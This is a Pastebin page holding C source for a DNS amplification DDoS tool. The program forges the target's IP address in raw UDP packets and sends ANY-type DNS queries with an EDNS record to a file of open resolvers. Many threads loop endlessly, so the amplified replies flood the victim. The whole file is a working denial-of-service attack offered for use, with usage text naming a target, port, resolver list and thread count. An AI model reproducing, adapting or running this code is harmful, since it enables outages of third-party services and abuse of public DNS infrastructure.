Dr-L0v3

drdos.c

Nov 14th, 2016
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.51 KB | None | 0 0
  1. /* DNS AMPLIFICATION DDOS SKRIPT */
  2.  
  3. #include <time.h>
  4. #include <pthread.h>
  5. #include <unistd.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/socket.h>
  10. #include <netinet/ip.h>
  11. #include <netinet/udp.h>
  12. #include <arpa/inet.h>
  13.  
  14. #define MAX_PACKET_SIZE 8192
  15. #define PHI 0x9e3779b9
  16. #define PACKETS_PER_RESOLVER 25
  17.  
  18. static uint32_t Q[4096], c = 362436;
  19.  
  20. struct list
  21. {
  22.                  struct sockaddr_in data;
  23.                  char domain[512];
  24.                  int line;
  25.                  struct list *next;
  26.                  struct list *prev;
  27. };
  28. struct list *head;
  29.  
  30. struct thread_data{
  31.                  int thread_id;
  32.                  struct list *list_node;
  33.                  struct sockaddr_in sin;
  34.                  int port;
  35. };
  36.  
  37. struct DNS_HEADER
  38. {
  39.                  unsigned short id; // identification number
  40.  
  41.                  unsigned char rd :1; // recursion desired
  42.                  unsigned char tc :1; // truncated message
  43.                  unsigned char aa :1; // authoritive answer
  44.                  unsigned char opcode :4; // purpose of message
  45.                  unsigned char qr :1; // query/response flag
  46.  
  47.                  unsigned char rcode :4; // response code
  48.                  unsigned char cd :1; // checking disabled
  49.                  unsigned char ad :1; // authenticated data
  50.                  unsigned char z :1; // its z! reserved
  51.                  unsigned char ra :1; // recursion available
  52.  
  53.                  unsigned short q_count; // number of question entries
  54.                  unsigned short ans_count; // number of answer entries
  55.                  unsigned short auth_count; // number of authority entries
  56.                  unsigned short add_count; // number of resource entries
  57. };
  58.  
  59. //Constant sized fields of query structure
  60. struct QUESTION
  61. {
  62.          unsigned short qtype;
  63.          unsigned short qclass;
  64. };
  65.  
  66. //Constant sized fields of the resource record structure
  67. struct QUERY
  68. {
  69.                  unsigned char *name;
  70.                  struct QUESTION *ques;
  71. };
  72.  
  73. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  74. {
  75.                  int lock = 0 , i;
  76.                  strcat((char*)host,".");
  77.  
  78.                  for(i = 0 ; i < strlen((char*)host) ; i++)
  79.                  {
  80.                                  if(host[i]=='.')
  81.                                  {
  82.                                                  *dns++ = i-lock;
  83.                                                  for(;lock<i;lock++)
  84.                                                  {
  85.                                                                  *dns++=host[lock];
  86.                                                  }
  87.                                                  lock++; //or lock=i+1;
  88.                                  }
  89.                  }
  90.                  *dns++='\0';
  91. }
  92.  
  93. void init_rand(uint32_t x)
  94. {
  95.                  int i;
  96.  
  97.                  Q[0] = x;
  98.                  Q[1] = x + PHI;
  99.                  Q[2] = x + PHI + PHI;
  100.  
  101.                  for (i = 3; i < 4096; i++)
  102.                  Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  103. }
  104.  
  105. uint32_t rand_cmwc(void)
  106. {
  107.                  uint64_t t, a = 18782LL;
  108.                  static uint32_t i = 4095;
  109.                  uint32_t x, r = 0xfffffffe;
  110.                  i = (i + 1) & 4095;
  111.                  t = a * Q[i] + c;
  112.                  c = (t >> 32);
  113.                  x = t + c;
  114.                  if (x < c) {
  115.                                  x++;
  116.                                  c++;
  117.                  }
  118.                  return (Q[i] = r - x);
  119. }
  120.  
  121. /* function for header checksums */
  122. unsigned short csum (unsigned short *buf, int nwords)
  123. {
  124.                  unsigned long sum;
  125.                  for (sum = 0; nwords > 0; nwords--)
  126.                  sum += *buf++;
  127.                  sum = (sum >> 16) + (sum & 0xffff);
  128.                  sum += (sum >> 16);
  129.                  return (unsigned short)(~sum);
  130. }
  131.  
  132. void setup_udp_header(struct udphdr *udph)
  133. {
  134.  
  135. }
  136.  
  137. void *flood(void *par1)
  138. {
  139.                  struct thread_data *td = (struct thread_data *)par1;
  140.  
  141.                  char strPacket[MAX_PACKET_SIZE];
  142.                  int iPayloadSize = 0;
  143.  
  144.                  struct sockaddr_in sin = td->sin;
  145.                  struct list *list_node = td->list_node;
  146.                  int iPort = td->port;
  147.  
  148.                  int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  149.                  if(s < 0)
  150.                  {
  151.                          fprintf(stderr, "Error: Could not open raw socket. Root privileges are required!\n");
  152.                          exit(-1);
  153.                  }
  154.  
  155.                  //init random
  156.                  init_rand(time(NULL));
  157.  
  158.                  // Clear the data
  159.                  memset(strPacket, 0, MAX_PACKET_SIZE);
  160.  
  161.                  // Make the packet
  162.                  struct iphdr *iph = (struct iphdr *) &strPacket;
  163.                  iph->ihl = 5;
  164.                  iph->version = 4;
  165.                  iph->tos = 0;
  166.                  iph->tot_len = sizeof(struct iphdr) + 38;
  167.                  iph->id = htonl(54321);
  168.                  iph->frag_off = 0;
  169.                  iph->ttl = MAXTTL;
  170.                  iph->protocol = IPPROTO_UDP;
  171.                  iph->check = 0;
  172.                  iph->saddr = inet_addr("192.168.3.100");
  173.  
  174.                  iPayloadSize += sizeof(struct iphdr);
  175.  
  176.  
  177.                  struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  178.                  udph->source = htons(iPort);
  179.                  udph->dest = htons(53);
  180.                  udph->check = 0;
  181.  
  182.                  iPayloadSize += sizeof(struct udphdr);
  183.  
  184.                  struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  185.                  dns->id = (unsigned short) htons(rand_cmwc());
  186.                  dns->qr = 0; //This is a query
  187.                  dns->opcode = 0; //This is a standard query
  188.                  dns->aa = 0; //Not Authoritative
  189.                  dns->tc = 0; //This message is not truncated
  190.                  dns->rd = 1; //Recursion Desired
  191.                  dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  192.                  dns->z = 0;
  193.                  dns->ad = 0;
  194.                  dns->cd = 0;
  195.                  dns->rcode = 0;
  196.                  dns->q_count = htons(1); //we have only 1 question
  197.                  dns->ans_count = 0;
  198.                  dns->auth_count = 0;
  199.                  dns->add_count = htons(1);
  200.  
  201.                  iPayloadSize += sizeof(struct DNS_HEADER);
  202.  
  203.                  sin.sin_port = udph->source;
  204.                  iph->saddr = sin.sin_addr.s_addr;
  205.                  iph->daddr = list_node->data.sin_addr.s_addr;
  206.                  iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  207.  
  208.  
  209.                  char strDomain[512];
  210.                  int i;
  211.                  int j = 0;
  212.                  int iAdditionalSize = 0;
  213.                  while(1)
  214.                  {
  215.                          if(j==2){
  216.                                  usleep(100);
  217.                                  j=0;
  218.                          }
  219.  
  220.  
  221.  
  222.                          //set the next node
  223.                          list_node = list_node->next;
  224.  
  225.                          //Clear the old domain and question
  226.                          memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  227.  
  228.                          //add the chosen domain and question
  229.                          iAdditionalSize = 0;
  230.  
  231.                          unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  232.  
  233.                          strcpy(strDomain, list_node->domain);
  234.                          ChangetoDnsNameFormat(qname, strDomain);
  235.                          //printf("!!%s %d\n", list_node->domain, list_node->line);
  236.  
  237.                          iAdditionalSize += strlen(qname) + 1;
  238.  
  239.                          struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  240.                          qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  241.                          qinfo->qclass = htons(1);
  242.  
  243.                          iAdditionalSize += sizeof(struct QUESTION);
  244.  
  245.                          strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  246.                          strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  247.                          strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  248.                          strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  249.                          strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  250.                          strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  251.                          strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  252.                          strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  253.                          strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  254.                          strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  255.                          strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  256.                          strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  257.  
  258.                          iAdditionalSize += 11;
  259.  
  260.  
  261.                          //set new node data
  262.                          iph->daddr = list_node->data.sin_addr.s_addr;
  263.  
  264.                          udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  265.                          iph->tot_len = iPayloadSize + iAdditionalSize;
  266.  
  267.                          udph->source = htons(rand_cmwc() & 0xFFFF);
  268.                          iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  269.  
  270.                          //send
  271.                          for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  272.                          {
  273.                                  sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  274.                          }
  275.  
  276.                          j++;
  277.                  }
  278. }
  279.  
  280. void ParseResolverLine(char *strLine, int iLine)
  281. {
  282.          char caIP[32] = "";
  283.          char caDNS[512] = "";
  284.  
  285.          int i;
  286.          char buffer[512] = "";
  287.  
  288.          int moved = 0;
  289.  
  290.          for(i = 0; i < strlen(strLine); i++)
  291.          {
  292.                  if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  293.                  {
  294.                          moved++;
  295.                          continue;
  296.                  }
  297.  
  298.                  if(moved == 0)
  299.                  {
  300.                          caIP[strlen(caIP)] = (char) strLine[i];
  301.                  }
  302.                  else if(moved == 1)
  303.                  {
  304.                          caDNS[strlen(caDNS)] = (char) strLine[i];
  305.                  }
  306.          }
  307.          
  308.          //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  309.  
  310.          if(head == NULL)
  311.          {
  312.                  head = (struct list *)malloc(sizeof(struct list));
  313.  
  314.                  bzero(&head->data, sizeof(head->data));
  315.  
  316.                  head->data.sin_addr.s_addr=inet_addr(caIP);
  317.                  head->data.sin_port=htons(53);
  318.                  strcpy(head->domain, caDNS);
  319.                  head->line = iLine;
  320.                  head->next = head;
  321.                  head->prev = head;
  322.          }
  323.          else
  324.          {
  325.                  struct list *new_node = (struct list *)malloc(sizeof(struct list));
  326.  
  327.                  memset(new_node, 0x00, sizeof(struct list));
  328.  
  329.                  new_node->data.sin_addr.s_addr=inet_addr(caIP);
  330.                  new_node->data.sin_port=htons(53);
  331.                  strcpy(new_node->domain, caDNS);
  332.                  new_node->prev = head;
  333.                  head->line = iLine;
  334.                  new_node->next = head->next;
  335.                  head->next = new_node;
  336.          }
  337. }
  338.  
  339. int main(int argc, char *argv[ ])
  340. {
  341.          if(argc < 4)
  342.          {
  343.                  fprintf(stderr, "Invalid parameters!\n");
  344.                  fprintf(stderr, "Usage: %s <target> <port> <nameserver file> <threads> [time]\n", argv[0]);
  345.                  exit(-1);
  346.          }
  347.  
  348.          head = NULL;
  349.  
  350.          char *strLine = (char *) malloc(256);
  351.          strLine = memset(strLine, 0x00, 256);
  352.  
  353.          char strIP[32] = "";
  354.          char strDomain[256] = "";
  355.  
  356.          int iLine = 0; // 0 = ip, 1 = domain.
  357.  
  358.          FILE *list_fd = fopen(argv[3],  "r");
  359.          while(fgets(strLine, 256, list_fd) != NULL)
  360.          {
  361.                  ParseResolverLine(strLine, iLine);
  362.                  iLine++;
  363.          }
  364.  
  365.  
  366.          int i = 0;
  367.          int num_threads = atoi(argv[4]);
  368.  
  369.          struct list *current = head->next;
  370.          pthread_t thread[num_threads];
  371.          struct sockaddr_in sin;
  372.          sin.sin_family = AF_INET;
  373.          sin.sin_port = htons(0);
  374.          sin.sin_addr.s_addr = inet_addr(argv[1]);
  375.          struct thread_data td[num_threads];
  376.  
  377.          int iPort = atoi(argv[2]);
  378.  
  379.          printf("Target: %s:%d\n", argv[1], iPort);
  380.  
  381.          for(i = 0; i < num_threads; i++)
  382.          {
  383.                  td[i].thread_id = i;
  384.                  td[i].sin= sin;
  385.                  td[i].list_node = current;
  386.                  td[i].port = iPort;
  387.                  pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  388.  
  389.          }
  390.  
  391.          fprintf(stdout, "Starting flood..\n");
  392.  
  393.          if(argc > 4)
  394.          {
  395.                  sleep(atoi(argv[5]));
  396.          }
  397.          else
  398.          {
  399.                  while(1)
  400.                  {
  401.                          sleep(1);
  402.                  }
  403.          }
  404.  
  405.          return 0;
  406. }
Advertisement
Add Comment
Please, Sign In to add comment